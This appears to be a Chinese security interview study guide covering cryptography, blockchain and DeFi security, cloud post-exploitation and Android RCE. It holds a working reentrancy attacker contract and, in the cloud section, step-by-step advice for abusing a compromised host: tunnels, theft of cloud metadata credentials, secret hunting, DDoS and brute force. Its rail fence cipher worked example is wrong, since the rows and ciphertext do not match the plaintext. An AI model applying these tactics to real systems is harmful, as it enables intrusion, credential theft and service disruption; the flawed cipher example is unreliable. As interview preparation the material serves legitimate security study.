RSA 是最著名的非对称加密算法之一,它的名字来源于三位发明者 Rivest、Shamir 和 Adleman 的姓氏首字母

  • 核心原理:它的安全性基于大整数质因数分解的数学难题。这意味着,即使知道两个非常大的质数相乘得到的乘积,也很难在合理时间内将这个乘积分解回原来的两个质数
  • 优点:历史悠久,经过了长时间的考验和广泛应用,安全性被普遍认可
  • 缺点:相比其他算法,其密钥长度通常需要更长来达到相同的安全级别,导致加密和解密速度较慢

2. ECC(椭圆曲线密码学)算法

ECC 是一种基于椭圆曲线数学的非对称加密算法

  • 核心原理:它的安全性基于椭圆曲线上的离散对数问题。这个问题的难度要比大整数分解问题高得多
  • 优点:在相同的安全强度下,ECC 的密钥长度比 RSA 短得多。例如,一个 256 位的 ECC 密钥提供的安全性,与一个 3072 位的 RSA 密钥大致相当。更短的密钥意味着更高的计算效率和更小的存储空间,这对于移动设备和物联网等资源受限的环境非常有利
  • 缺点:数学原理更复杂,实现起来也更困难

3. DSA(数字签名算法)

DSA 是一种主要用于数字签名的非对称加密算法

  • 核心原理:它基于离散对数问题,与 Diffie-Hellman 密钥交换算法的数学基础类似
  • 优点:专为数字签名设计,效率较高。它只用于签名,不用于数据加密
  • 缺点:只能用于签名和验证,不能用于数据的加密和解密

栅栏密码的原理是什么

加密原理

栅栏密码的原理是,将明文的字母像写在交错的栅栏上一样,然后按行读取

  1. 选择密钥:首先,你需要选择一个密钥,这个密钥就是一个整数,表示“栅栏”的层数。例如,密钥为 3,就表示有 3 层栅栏
  2. 构造栅栏:将明文的字母按照“之”字形(zig-zag)的路径,依次填写到对应层数的栅栏上
  3. 按行读取:加密后的密文就是将每一层栅栏上的字母,从上到下、从左到右依次连接起来

示例:

  • 明文WE ARE DISCOVERED. FLEE AT ONCE.
  • 密钥3

我们将明文写在 3 层栅栏上:

现在,我们按行读取,忽略点号,只提取字母:

  • 第一行WEDOEE
  • 第二行ERDSOEFETNC
  • 第三行AICSVRAOC

将三行连接起来,就得到了密文:

密文WEDOEE ERDSOEFETNC AICSVRAOC

解密原理

解密过程是加密的逆向操作,你需要知道密钥和密文的长度

  1. 计算每行长度:根据密钥和密文长度,计算出每一层栅栏上的字母数量
  2. 重构栅栏:根据计算出的数量,将密文依次填回到“之”字形的栅栏结构中
  3. 按“之”字形读取:最后,按照原来的“之”字形路径,依次读取每个位置上的字母,就能还原出原始明文

Padding Oracle Attack 讲讲

攻击的核心原理

要理解这个攻击,我们首先需要了解几个关键概念:

1. 分组密码和 CBC 模式

  • 分组密码将明文分割成固定大小的分组进行加密
  • CBC(密文分组链接)模式是一种常用的分组密码模式。在 CBC 模式中,每个明文分组在加密前,会先与前一个密文分组进行异或(XOR)运算。这使得每个密文分组都依赖于其之前的所有分组,从而提供了更好的安全性
  • IV(初始化向量):第一个明文分组加密时没有前一个密文分组,因此需要一个初始化向量(IV)来代替

2. 填充(Padding)

为了确保最后一个明文分组能够填满整个分组长度,需要进行填充。例如,如果分组大小是 16 字节,而最后一个明文分组只有 13 字节,就需要填充 3 个字节。 PKCS#7 填充是常用的填充标准。它将填充的每个字节都设置为填充的长度。例如,如果需要填充 3 个字节,就会在明文末尾添加 0x03 0x03 0x03。解密后,系统会检查最后一个字节的值,并移除相应数量的填充

攻击的步骤

Padding Oracle Attack 利用的就是填充验证机制的漏洞。攻击者通过发送修改后的密文到服务器,并观察服务器是否返回“填充正确”或“填充错误”的信息。这个“神谕”(Oracle)就是指服务器的这个响应行为

攻击者可以逐字节地解密密文。假设我们要解密密文分组 Cn:

  1. 构造密文:攻击者需要控制一个密文分组 Cn−1′(通常是伪造的)和一个目标密文分组 Cn
  2. 暴力破解:攻击者会尝试 Cn−1′ 的最后一个字节,从 0 到 255 遍历所有可能的值
  3. 发送给服务器:将伪造的 (IV + C_0 + ... + C_{n-2} + C_{n-1}' + C_n) 发送给服务器
  4. 观察响应
    • 如果服务器返回**“填充正确”**,说明填充字节的解密结果为 0x01
    • 如果服务器返回**“填充错误”**,说明填充字节的解密结果不为 0x01
  5. 推导
    • 当我们找到一个让服务器返回“填充正确”的 Cn−1′ 时,根据CBC模式的解密公式: $P_n = D(C_n) \oplus C_{n-1}$
    • 那么,伪造的密文解密后,其最后一个明文字节为 0x01$P_n'[last] = D(C_n)[last] \oplus C_{n-1}'[last] = 0x01$
    • 我们可以推导出 D(C_n)[last] 的值: $D(C_n)[last] = P_n'[last] \oplus C_{n-1}'[last] = 0x01 \oplus C_{n-1}'[last]$
    • 既然我们已经知道了 D(Cn) 的最后一个字节,我们就可以用同样的方法,依次解密倒数第二个字节、倒数第三个字节……
    • 每解密一个字节,攻击者就构造一个新的 Cn−1′,使得它能让下一个填充字节的解密结果为 0x02,然后继续这个过程,直到解密完整个分组

30- 区块链安全

说说交易所

什么是加密货币交易所?

加密货币交易所(Crypto Exchange)是允许用户交易(买卖)加密货币的平台。你可以把它想象成一个数字化的股票交易所,只不过交易的对象从股票、债券变成了比特币、以太坊等数字资产

交易所的运作模式

交易所的核心功能是撮合买卖双方的交易。这通常通过一个订单簿(Order Book)系统来实现。

订单簿

订单簿记录了所有用户提交的买入和卖出订单。一个典型的订单簿包括:

  • 买单(Bid):用户想要以某个价格买入加密货币的意向
  • 卖单(Ask):用户想要以某个价格卖出加密货币的意向

当一个买单的价格与一个卖单的价格相匹配时,交易就会自动执行。这个匹配的价格就是市场价格

交易深度

交易深度(Market Depth)是订单簿中各个价格点的买卖订单数量总和。它反映了市场的流动性:

  • 深度高:意味着在当前价格附近有大量的买卖订单。即使有大额交易,价格也不会出现剧烈波动,市场流动性好
  • 深度低:意味着订单稀少。一笔大额交易就可能导致价格大幅波动,市场流动性差

交易手续费

交易所通过收取交易手续费来盈利。手续费通常按交易金额的一定比例收取,具体费率取决于用户的交易量、持有平台币(如币安的 BNB)的情况以及 VIP 等级

交易所的类型

根据其运作方式和中心化程度,交易所可以分为以下几大类:

1. 中心化交易所(CEX)

这是目前最主流的交易所类型,如币安(Binance)、Coinbase、欧易(OKX)

特点:

  • 中心化管理:所有用户的资产都存放在交易所的钱包里,用户没有私钥的完全控制权。你相信交易所来保管你的资产
  • 高性能:交易都在链下(Off-chain)进行,速度快,吞吐量高,能够处理大量高频交易
  • 功能丰富:除了现货交易,通常还提供合约交易、杠杆交易、理财产品、IEO(首次交易所发行)等服务
  • 监管和合规:为了保护用户和应对监管要求,CEX通常需要用户完成KYC(Know Your Customer,了解你的客户)身份认证

优势:

  • 易用性:用户界面友好,操作简单,适合新手
  • 流动性好:拥有庞大的用户基础和交易量
  • 安全性(相对):由专业团队维护,有更完善的安全措施和风控系统(如冷钱包存储、多重签名等),但仍存在被黑客攻击的风险。

2. 去中心化交易所(DEX)

DEX 是基于区块链智能合约运行的交易所,如Uniswap、PancakeSwap

特点:

  • 去中心化:资产直接由用户的钱包控制,用户掌握私钥,无需将资产托管给第三方
  • 无须许可:任何人都可以通过提供流动性成为做市商,无需注册或 KYC
  • 自动化做市商(AMM):DEX 多采用 AMM 模式,而不是传统的订单簿。流动性提供者(LP)将两种代币存入一个流动性池,交易者可以直接与这个流动性池进行交易
  • 链上交易:每笔交易都在区块链上进行,公开透明,但受限于区块链本身的性能(速度和费用)

优势:

  • 资产自主权:用户完全控制自己的资产,不存在交易所跑路或被盗的风险
  • 抗审查性:不受单一实体控制,难以被关闭或冻结
  • 隐私性:无需 KYC

劣势:

  • 易用性相对较差:需要用户自己管理钱包和私钥,对新手不太友好
  • 滑点问题:对于大额交易,AMM 模式可能会出现较高的滑点
  • 无偿损失:流动性提供者可能会面临无偿损失(Impermanent Loss)的风险

3. 混合交易所(Hybrid Exchange)

混合交易所试图结合 CEX 和 DEX 的优点,通常将部分功能(如订单撮合)放在链下以提高效率,而将资产结算和托管放在链上以确保安全和去中心化。这种模式目前仍在发展中,但尚未成为主流


讲一讲区块链逆向函数涉及到的接收参数的指令集

当你在逆向一个 EVM 字节码时,你会发现函数参数的传递和处理主要涉及到以下几种指令集和概念:

1. CALLDATALOADCALLDATASIZE

  • CALLDATALOAD: 这个指令用于从**交易的调用数据(calldata)**中加载参数。calldata 是一个只读的、外部调用的数据区域,它存储了函数选择器(Function Selector)和所有传入的参数。CALLDATALOAD 接收一个内存偏移量作为参数,然后从该偏移量处加载一个32字节(256位)的数据到栈顶
    • 逆向分析中的应用: 当你看到一个 CALLDATALOAD 指令时,你需要查看它加载的偏移量
      • 0x04 偏移量通常是第一个参数的开始。这是因为前4个字节(0x000x03)是函数选择器,用于识别要调用的函数
      • 随后的偏移量(例如 0x240x44 等)则对应后续的参数
  • CALLDATASIZE: 这个指令用于获取 calldata 的总大小。在逆向分析中,它通常用于进行边界检查,确保传入的参数数量和大小是正确的

2. ISZEROJUMPI

  • ISZERO: 这是一个判断指令,用于检查栈顶的值是否为零。在处理参数时,它通常用于检查某个参数是否为空或为0
  • JUMPI: 这是一个条件跳转指令。它接收两个参数:一个目标地址和一个条件。如果条件非零,程序执行流将跳转到目标地址
    • 逆向分析中的应用: 你会看到 ISZEROJUMPI 常常配合使用,用于函数签名检查。当函数签名(前4个字节)与预期的签名不匹配时,JUMPI 就会将程序跳转到错误处理代码块,如 revertinvalid jump。这是逆向分析中识别不同函数入口点的关键

3. EQ, LT, GT (比较指令)

  • EQ: 比较栈顶的两个值是否相等
  • LT: 比较栈顶的第一个值是否小于第二个值
  • GT: 比较栈顶的第一个值是否大于第二个值
    • 逆向分析中的应用: 这些比较指令经常用于对传入的参数进行验证,例如检查一个数值参数是否在某个范围内,或者一个地址参数是否等于合约所有者的地址

4. MSTOREMLOAD

虽然这两个指令不直接用于接收参数,但在处理和使用参数时它们是不可或缺的

  • MSTORE: 将栈顶的32字节数据存储到指定的内存(Memory)位置
  • MLOAD: 从指定的内存位置加载32字节数据到栈顶
    • 逆向分析中的应用: 传入的参数通常会先从 calldata 加载到栈上,然后使用 MSTORE 存储到内存中以供后续计算或处理。当你看到一个 MSTORE 指令时,它通常意味着一个参数正在被复制到内存中

说说重入漏洞

什么是重入漏洞?

简单来说,重入漏洞发生在以下情况: 一个智能合约在调用外部合约或地址(如通过callsendtransfer发送以太币)之后,未及时更新内部状态

当外部合约或地址接收到以太币时,它可以执行一个回退函数(Fallback Function)。如果这个回退函数中又包含一个对原始合约的调用,那么它就可以在原始合约的状态(比如余额记录)更新之前,再次执行之前的函数,形成一个无限循环,直到合约中的以太币被取光

重入漏洞的经典案例:The DAO

最具代表性的重入漏洞攻击是发生在 2016 年的 The DAO 事件。当时,黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧,最终促成了以太坊(ETH)和以太坊经典(ETC)的分叉

重入漏洞的工作原理

我们以一个简单的取款合约为例来详细解释这个过程:

存在漏洞的合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract VulnerableContract {
mapping(address => uint256) public balances;

function withdraw() public {
// 步骤 1: 检查用户余额
uint256 amount = balances[msg.sender];

// 步骤 2: 将以太币发送给用户
// 这是一个危险的操作,因为`call`会触发接收方的回退函数
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed.");

// 步骤 3: 更新用户余额
// 这步在外部调用之后,是漏洞的关键
balances[msg.sender] = 0;
}

// 其他函数...
}

黑客合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Attacker {
VulnerableContract vulnerableContract;

constructor(address _vulnerableContract) {
vulnerableContract = VulnerableContract(_vulnerableContract);
}

// 步骤 1: 首次调用受害合约的提款函数
function attack() public payable {
vulnerableContract.withdraw();
}

// 步骤 2: 回退函数,当接收到以太币时被触发
fallback() external payable {
// 如果受害合约的余额大于 0,再次调用它的提款函数
if (address(vulnerableContract).balance > 0) {
vulnerableContract.withdraw();
}
}
}

攻击流程解析:

  1. 准备:黑客向 VulnerableContract 存入少量以太币,以获得一个非零的余额
  2. 首次调用:黑客通过 Attacker 合约调用 VulnerableContractwithdraw() 函数
  3. 漏洞触发
    • VulnerableContract 检查黑客余额,然后向 Attacker 合约发送以太币
    • Attacker 合约接收到以太币后,其 fallback 函数被立即触发
    • fallback 函数中,黑客再次调用 VulnerableContractwithdraw() 函数
  4. 递归循环
    • 由于 VulnerableContractbalances[msg.sender] = 0 这一行代码尚未执行VulnerableContract 以为黑客的余额仍然存在
    • withdraw() 函数再次执行,又一次向 Attacker 合约发送以太币,再次触发 fallback 函数
  5. 耗尽资金:这个过程会反复进行,直到 VulnerableContract 中的所有以太币被耗尽

在 DeFi 项目中建立了各种各样的经济模型,怎样才能找出可能存在的漏洞

1. 深入理解协议设计

在审计代码之前,首先要彻底理解协议的白皮书和经济模型。你需要问自己一些核心问题:

  • 激励机制:协议如何激励用户参与?例如,流动性挖矿的奖励是如何计算和分配的?这些激励是否可持续?
  • 惩罚机制:当用户行为不符合协议预期时(例如,借贷逾期、清算失败),如何进行惩罚?惩罚是否足够威慑?
  • 资产关系:协议中的各种资产(例如,原生代币、LP Token、抵押品)之间是如何互相影响的?它们的价格波动会如何影响彼此的价值?

仅仅看代码是不够的,很多漏洞是设计上的缺陷,而不是简单的编程错误

2. 识别常见的经济模型攻击模式

以下是一些 DeFi 经济模型中常见的攻击手法,你需要特别关注:

a. 闪电贷攻击

这是目前最常见且最具破坏力的 DeFi 攻击方式。闪电贷允许攻击者在单笔交易中借入巨额资金,而无需任何抵押。攻击者利用这笔资金,通过操纵价格、进行套利或清算,来攻击协议

审计方向:

  • 价格预言机(Price Oracle):检查项目是否依赖单一或不稳定的价格预言机。如果价格来源容易被操纵(例如,只从一个 DEX 获取),那么它就可能成为攻击的弱点
  • 交易顺序依赖(MEV):检查是否存在利用交易顺序进行套利或攻击的可能性
  • 清算机制:如果清算依赖于链上预言机,攻击者可能会在清算时机到来前,通过闪电贷操纵价格,导致清算失败或以不公平的价格进行清算

b. 预言机操纵

如果协议使用链上数据源作为价格预言机(例如,从 Uniswap 获取),攻击者可以利用闪电贷注入大量资金,暂时性地抬高或压低价格,从而实现套利或攻击

审计方向:

  • 价格来源:优先使用去中心化、多源聚合的预言机,例如 Chainlink
  • 时间加权平均价(TWAP):检查是否使用了 TWAP 等机制来平滑价格波动,降低被闪电贷瞬间操纵的风险

c. 抵押品操纵

一些借贷协议允许用户使用项目自身的治理代币作为抵押品。如果代币价格下跌,可能导致抵押品价值不足。更糟糕的是,攻击者可能会通过做空或其他方式,故意压低代币价格来清算其他用户的头寸

审计方向:

  • 抵押品类型:检查是否允许使用高波动性或流动性差的资产作为抵押品
  • 清算阈值:清算阈值(Liquidation Threshold)的设置是否合理?是否存在“死亡螺旋”的风险,即代币价格下跌导致大量清算,清算又进一步压低价格?

d. 无限制铸币

如果协议代币的铸造没有受到严格限制,攻击者可能会通过某种方式(例如,利用代码漏洞或经济模型中的套利机会)无限铸造代币,导致代币供应量剧增,价值归零

审计方向:

  • 铸币函数:重点审计所有 mintcreate 或类似的代币生成函数
  • 权限控制:谁有权调用这些铸币函数?是否有多重签名或时间锁来保护?

3. 系统化的审计流程

要找到这些漏洞,需要一个结构化的审计流程:

  1. 代码审计:使用自动化工具(如 Slither、Mythril)进行初步扫描,然后进行手动代码审查,特别关注 transfercall 等外部调用
  2. 经济模型模拟:建立一个模型,模拟不同市场条件(例如,价格剧烈波动、流动性枯竭)和攻击场景下的协议行为
  3. 单元测试与模糊测试:编写大量的测试用例,涵盖所有可能的极端情况和用户行为。使用模糊测试工具(Fuzzing)输入异常数据,观察合约行为
  4. 激励机制博弈分析:将自己置于“攻击者”的角色,思考如何利用协议的激励机制来获取不正当收益。例如,能否通过一个闪电贷,先进行套利,再归还贷款?

总而言之,审计一个 DeFi 项目的经济模型漏洞,远比单纯的代码审计复杂。它需要对区块链机制、智能合约、博弈论和金融市场有深刻的理解


libsnark 核心是什么

libsnark 是一个 C++ 库,它提供了一套用于构建和验证简洁非交互式知识论证(Succinct Non-Interactive Arguments of Knowledge,简称 SNARKs)的算法和工具。

简单来说,SNARKs 是一种强大的加密技术,它允许证明者(prover)向验证者(verifier)证明某个陈述是真实的,而无需向验证者透露任何敏感信息。这个证明过程非常高效:证明本身很小验证速度极快,而且验证者不需要与证明者进行交互

libsnark 的核心功能

libsnark 的核心在于它实现了多种零知识证明方案。这些方案可以分为几个主要部分:

1. 算术化

这是将一个计算问题转换为一个数学可证明形式的第一步。libsnark 主要使用了两种方法:

  • QAP (Quadratic Arithmetic Programs):将一个计算问题(如一个程序或电路)转换为一个二次算术程序。这是最经典的 SNARK 方案之一,被用于 Zcash 的第一代版本
  • R1CS (Rank-1 Constraint Systems):这是一种更基础的算术化形式,它将问题表示为一系列线性方程组。libsnark 支持将 QAP 转换为 R1CS,并提供了相应的工具

2. 多项式承诺

在 SNARKs 中,证明者需要证明一个多项式满足某些性质,而无需透露整个多项式。libsnark 提供了多种多项式承诺方案,例如基于**配对曲线(Pairing-based Elliptic Curves)**的方案,这些方案是高效且安全的

3. zk-SNARK 协议实现

libsnark 实现了完整的 zk-SNARK 协议,包括:

  • 可信设置(Trusted Setup):这是 SNARKs 的一个重要步骤,需要生成一个公共的参数集合。libsnark 提供了生成和验证这些参数的工具
  • 证明生成(Proof Generation):通过这个过程,证明者可以生成一个简洁的零知识证明
  • 证明验证(Proof Verification):验证者可以使用公共参数和证明,快速验证陈述的真实性

4. 密码学原语

libsnark 依赖于强大的密码学原语,例如:

  • 配对友好的椭圆曲线(Pairing-friendly Elliptic Curves):例如 BN254、BLS12-381 等。这些曲线是实现高效零知识证明的基础
  • 哈希函数:用于数据完整性检查

truffle、solidity 了解吗

1. Solidity:智能合约的编程语言

Solidity 是一种面向合约的高级编程语言,专门为以太坊虚拟机(EVM)设计。你可以把它想象成智能合约领域的 JavaScript。它的语法借鉴了 JavaScript、C++ 和 Python,但针对智能合约的特殊性做了很多优化。

核心特点:

  • 静态类型:Solidity 是一种静态类型语言,这意味着所有变量的类型都必须在编译时确定。这有助于在早期发现错误,提高合约的安全性
  • 面向合约:它的设计思想是“合约”,一个合约可以包含状态变量(存储在区块链上)、函数(可执行的代码)以及事件(用于与外部应用通信)
  • EVM 兼容性:Solidity 代码被编译成 EVM 字节码,可以在任何以太坊兼容的区块链上运行
  • 内置安全特性:它提供了一些内置功能来处理以太坊特有的操作,例如处理以太币的 payable 函数、处理外部调用的 call 方法等

举个例子:一个简单的存钱合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleStorage {
uint public data; // 状态变量,存储在区块链上

function setData(uint _data) public {
data = _data;
}

function getData() public view returns (uint) {
return data;
}
}

这段代码定义了一个合约,可以存储一个整数。Solidity 负责编写这段逻辑,而接下来,就需要 Truffle 来将这段代码部署到区块链上

2. Truffle:开发框架与工具集

Truffle 是一个全面的开发框架,专门用于帮助开发者编译、部署、测试和调试 Solidity 智能合约。如果你把 Solidity 看作是“建筑材料”,那么 Truffle 就是“建筑工具箱”。它极大地简化了智能合约的开发流程

核心功能:

  • 智能合约管理:Truffle 提供了标准的项目目录结构,方便你组织合约代码、测试文件和部署脚本
  • 编译:它内置了 Solidity 编译器,可以自动将你的 .sol 文件编译成 EVM 字节码和 ABI(应用二进制接口)文件
  • 迁移与部署:这是 Truffle 最强大的功能之一。你可以编写“迁移脚本”(migration scripts),这些脚本会告诉你如何按顺序将合约部署到不同的网络(如本地测试网、Ropsten、主网)。它会自动处理部署过程中的依赖关系
  • 自动化测试:Truffle 提供了强大的测试框架,你可以用 JavaScript 或 Solidity 来编写合约的自动化测试用例,确保合约的逻辑正确和安全
  • 控制台:Truffle 附带了一个交互式控制台,你可以直接与部署在区块链上的合约进行交互,调用函数和查询状态
  • 本地区块链:Truffle 捆绑了 Ganache,一个本地的以太坊测试网络,方便你在不连接真实网络的情况下快速开发和测试

Truffle 如何工作?

Truffle 的工作流通常是这样的:

  1. 项目初始化:使用 truffle init 命令创建一个新的项目
  2. 编写合约:在 contracts 文件夹中用 Solidity 编写你的智能合约
  3. 编写部署脚本:在 migrations 文件夹中编写部署脚本,告诉 Truffle 部署哪个合约,以及部署到哪个网络
  4. 编译与部署:使用 truffle compiletruffle migrate 命令来编译合约并将其部署到你选择的网络上
  5. 测试:使用 truffle test 命令运行你的测试用例

智能合约的鉴权、公私密钥

什么是鉴权?

在传统中心化系统中,鉴权通常是指验证用户身份的过程,比如通过用户名和密码登录。但在区块链和智能合约中,鉴权的方式完全不同,它依赖于密码学而非用户名

在智能合约中,鉴权就是验证发起交易的账户是否拥有执行某个特定操作的权限。这个验证过程通常通过数字签名(Digital Signature)来实现

当你从一个地址向智能合约发送一笔交易时,这笔交易中包含了你想要执行的函数和参数。为了证明这笔交易确实是你发起的,你需要用你的私钥对交易数据进行签名

智能合约或区块链网络会使用与你私钥对应的公钥来验证这个签名。如果签名验证成功,系统就会确认这笔交易的合法性,并执行相应的操作

公私密钥:鉴权的基石

公私密钥对是区块链鉴权的核心。它基于非对称加密算法(如椭圆曲线加密算法)。

1. 私钥(Private Key)

  • 定义:一个随机生成的、非常长的数字。它就像你银行账户的密码,是你的身份唯一凭证
  • 功能:用于对交易进行数字签名。只有私钥持有者才能生成有效的签名
  • 安全性:私钥必须绝对保密。一旦泄露,你的所有资产都可能被盗
  • 形象比喻:你的银行卡密码

2. 公钥(Public Key)

  • 定义:从私钥通过加密算法推导出来的一串数字
  • 功能:用于验证私钥生成的数字签名。任何人都可以拥有你的公钥,就像任何人都可以拥有你的银行账户号码。公钥可以公开,因为无法通过公钥反向推导出私钥
  • 形象比喻:你的银行账户号码

3. 地址(Address)

  • 定义:由公钥通过哈希函数派生出来的一串字符
  • 功能:用于接收和发送资产,是你在区块链上的公开身份

工作流程总结:

  1. 你想要调用智能合约中的一个函数(比如提款)
  2. 你用私钥对交易数据(包括函数名、参数和目标合约地址)进行签名
  3. 你将签了名的交易广播到区块链网络
  4. 网络中的节点接收到交易后,会使用你的公钥验证签名
  5. 如果签名有效,交易被确认,并被打包进一个区块
  6. 智能合约执行你请求的操作

数字钱包的身份认证

数字钱包的身份认证:一个去中心化的过程

在区块链和加密货币的世界里,数字钱包的身份认证(Authentication)与我们习惯的传统银行或互联网服务的身份认证截然不同。它不是通过用户名和密码,而是通过一种基于密码学的、去中心化的方式来完成

这个过程的核心是公私密钥对。你可以把它们想象成一套独特的钥匙,这套钥匙代表了你在区块链上的身份和资产所有权

1. 核心机制:公私密钥对

每个数字钱包都包含一个独一无二的私钥(Private Key)。这个私钥是一个非常长的随机数字,它就像你银行保险箱的唯一密码

  • 私钥是你的所有权证明:只有拥有私钥,你才能控制钱包里的资产
  • 私钥用于签名(Signing):当你想要进行一笔交易(比如转账或与智能合约交互)时,你需要用你的私钥对这笔交易数据进行数字签名

与私钥配对的是一个公钥(Public Key)。公钥是从私钥通过加密算法生成的,它就像你的银行账户号码

  • 公钥用于验证:任何人都可以使用你的公钥来验证你用私钥生成的签名是否有效
  • 公钥是公开的:即使公开了公钥,攻击者也无法反向推导出私钥

最终,你的钱包地址(Wallet Address)是根据公钥生成的。它是你接收资金的公开身份,你可以放心地分享给任何人

2. 身份认证的工作流程

那么,钱包是如何使用这个机制来验证你的身份的呢?整个过程是自动化的,对用户来说是透明的,但背后的原理可以分解为几个步骤:

  1. 用户发起交易:你在钱包应用中点击“发送”或“批准”一个交易,并输入相关信息(比如接收地址和金额)
  2. 钱包生成交易数据:钱包会创建一个原始交易数据包,其中包含所有交易细节
  3. 私钥签名:你的钱包会使用你独有的私钥对这个数据包进行加密签名,生成一个数字签名
  4. 广播交易:带有数字签名的完整交易数据包被广播到区块链网络
  5. 网络节点验证:网络中的每个节点收到这笔交易后,都会使用你钱包的公钥来验证签名
  6. 身份认证成功:如果签名验证成功,意味着这笔交易确实是由拥有该私钥的人发起的。这笔交易随后会被打包到区块中,并最终完成

这个过程有效地证明了“你就是你”,而无需向任何中心化机构透露你的身份信息

31- 云安全

控制了一台云主机但没有连接内网也没有云内网,该如何利用

1. 将云主机作为跳板

既然无法直接连接内网,最直接的方法就是将这台云主机本身变成一个跳板,通过它来访问其他资源。这通常涉及到端口转发或隧道技术

  • SSH 隧道(SSH Tunneling): 如果你已经获得了云主机的 SSH 权限,这是最简单和最稳定的方法
    • 本地端口转发: 将云主机上的某个端口流量转发到你本地机器上的端口
      • 命令: ssh -L [本地端口]:[目标IP]:[目标端口] [云主机用户名]@[云主机IP]
      • 场景: 假设你想访问云主机所在公有云的另一个服务(如数据库),但这个服务只允许云主机访问。你可以将这个服务的端口转发到你本地,然后像访问本地服务一样访问它
    • 动态端口转发: 将云主机变成一个 SOCKS5 代理服务器
      • 命令: ssh -D [本地端口] [云主机用户名]@[云主机IP]
      • 场景: 你可以将你的浏览器或 Burp Suite 配置为使用这个 SOCKS5 代理,然后通过云主机访问互联网上的其他资源,这对于隐藏你的真实 IP 或绕过一些访问限制非常有用
  • 端口转发工具: 如果没有 SSH,或者需要更复杂的转发,可以使用专业的工具
    • Chisel: 一个用 Go 语言编写的快速 TCP/UDP 隧道工具,非常适合在受限网络中使用。它支持 SOCKS5 代理,并且客户端和服务器端都可以轻松部署
    • socat: 强大的瑞士军刀型工具,可以实现各种复杂的端口转发和重定向
    • Frp (Fast Reverse Proxy): 用于内网穿透和反向代理,虽然通常用于从内网穿透到公网,但也可以用来在不同云主机之间建立隧道

2. 收集敏感信息,寻找新的突破口

即使无法直接访问内网,这台云主机本身也可能包含大量有价值的信息,这些信息可以帮助你找到其他可以渗透的目标

  • 扫描云主机的元数据服务(Metadata Service):
    • 许多公有云(如 AWS, GCP, Azure, 阿里云)都会为云主机提供一个元数据服务,通常可以通过一个固定的内网 IP 访问,如 http://169.254.169.254
    • 目的: 通过访问这个服务,你可以获取到云主机的 IAM 角色凭据、API 密钥、主机配置信息等。这些凭据可能拥有访问其他云服务的权限,如 S3 存储桶、数据库、或者执行其他云 API 操作
    • 利用: 拿到这些凭据后,你可以使用 AWS CLI, Azure CLI 等工具,从你自己的机器上控制目标账户下的其他云资源
  • 搜索配置文件和环境变量:
    • 查看 /etc/ 目录下的配置文件,或者应用程序的配置目录
    • 使用 grepfind 命令搜索关键字,如 password, key, secret, API
    • 目的: 寻找硬编码的凭据,这些凭据可能用于连接数据库、缓存服务、消息队列或其他云服务
    • 利用: 一旦找到数据库凭据,你可以尝试直接连接数据库,获取用户数据、业务数据,甚至是其他服务器的连接信息
  • 检查运行中的进程和服务:
    • 使用 ps -efnetstat -tulnp 命令,查看当前运行的进程和监听的端口
    • 目的: 发现正在运行的应用程序,特别是那些与外部服务有连接的程序
    • 利用: 如果发现有 Web 服务或 API 服务在运行,尝试利用你已有的访问权限去审计它的代码,寻找新的漏洞

3. 利用云主机作为攻击源

这台云主机本身也是一个有价值的攻击平台。你可以利用它来发起针对其他目标的攻击

  • DDoS 攻击: 如果你的目标是让某个服务瘫痪,你可以利用云主机的高带宽和计算能力来发起分布式拒绝服务攻击
  • 端口扫描: 利用云主机对其他公网 IP 进行大规模端口扫描,这可以帮助你发现其他暴露在公网上的服务,而不会暴露你自己的 IP 地址
  • 暴力破解: 如果你已经找到了一些服务的登录页面或 API 接口,你可以利用云主机作为跳板进行暴力破解,因为它的网络延迟通常比你本地要小得多。

4. 寻找云主机的横向移动点

即使没有内网,也可能存在一些特殊的横向移动机会。

  • 共享安全组或网络:
    • 许多云服务商都允许不同的云主机共享同一个安全组或虚拟网络
    • 利用: 通过元数据服务或配置信息,你可以了解到当前云主机的网络拓扑。如果它与另一个云主机在同一个安全组内,你可能可以通过内网 IP 直接访问那台主机
  • 私有镜像:
    • 如果这台云主机是通过一个私有镜像创建的,你可以尝试找到这个镜像。这个镜像可能包含了其他应用程序,甚至是一些默认的凭据

32- APP安全

安卓系统如何进行 RCE,有什么思路

1. 安卓 RCE 的核心思路

安卓 RCE 的核心思想是找到一个可以被远程触发的入口点,并利用这个入口点来执行任意代码。这个过程通常分为两步:

  1. 触发点(Trigger):寻找一个可以被远程控制,且会处理恶意数据的接口。这个接口可以是应用程序的某个功能、某个系统服务,甚至是底层的通信协议
  2. 代码执行(Execution):利用触发点,让系统执行攻击者预设的代码。这通常涉及到内存破坏、反序列化、或动态加载恶意代码

2. 安卓 RCE 的主要利用途径

安卓系统的 RCE 漏洞通常存在于以下几个层面:

a) 应用层漏洞

这是最常见的 RCE 攻击途径,通常利用的是应用程序自身的逻辑或代码缺陷

  • WebView 远程代码执行:如果应用使用了 WebView 组件,并且没有对其进行安全配置,攻击者可以利用 JavaScript 接口或 addJavascriptInterface 接口来触发漏洞。如果 WebView 加载了恶意网页,恶意 JavaScript 就可以调用本地 Java 方法,从而实现 RCE
  • 反序列化漏洞:如果应用使用了不安全的序列化库(如 FastjsonGSON 的旧版本),并且从远程接收不可信的序列化数据,攻击者可以构造恶意 Payload,在反序列化时触发 RCE
  • 动态加载漏洞:如果应用从远程服务器下载 jardex 或其他可执行文件,并对其进行动态加载,攻击者可以控制下载的文件,从而实现 RCE

b) IPC(进程间通信)漏洞

安卓系统依赖于各种 IPC 机制(如 BinderContent Provider)来允许不同应用之间进行通信

  • Binder 漏洞:安卓的 Binder 机制是其核心 IPC 方式。如果一个 Binder 服务没有对传入的数据进行严格验证,攻击者可以构造恶意数据,利用 Binder 通信的漏洞,在服务端进程中触发内存破坏或逻辑缺陷,从而实现 RCE
  • Content Provider 漏洞:如果 Content Provider 存在 SQL 注入或文件路径遍历漏洞,攻击者可以利用这些漏洞,读取或写入敏感文件,甚至触发其他漏洞,最终导致 RCE。

c) 系统服务漏洞

安卓系统本身运行着大量的系统服务(例如 SurfaceFlingermediaserver)。这些服务通常以高权限运行,如果它们存在漏洞,其危害性是毁灭性的

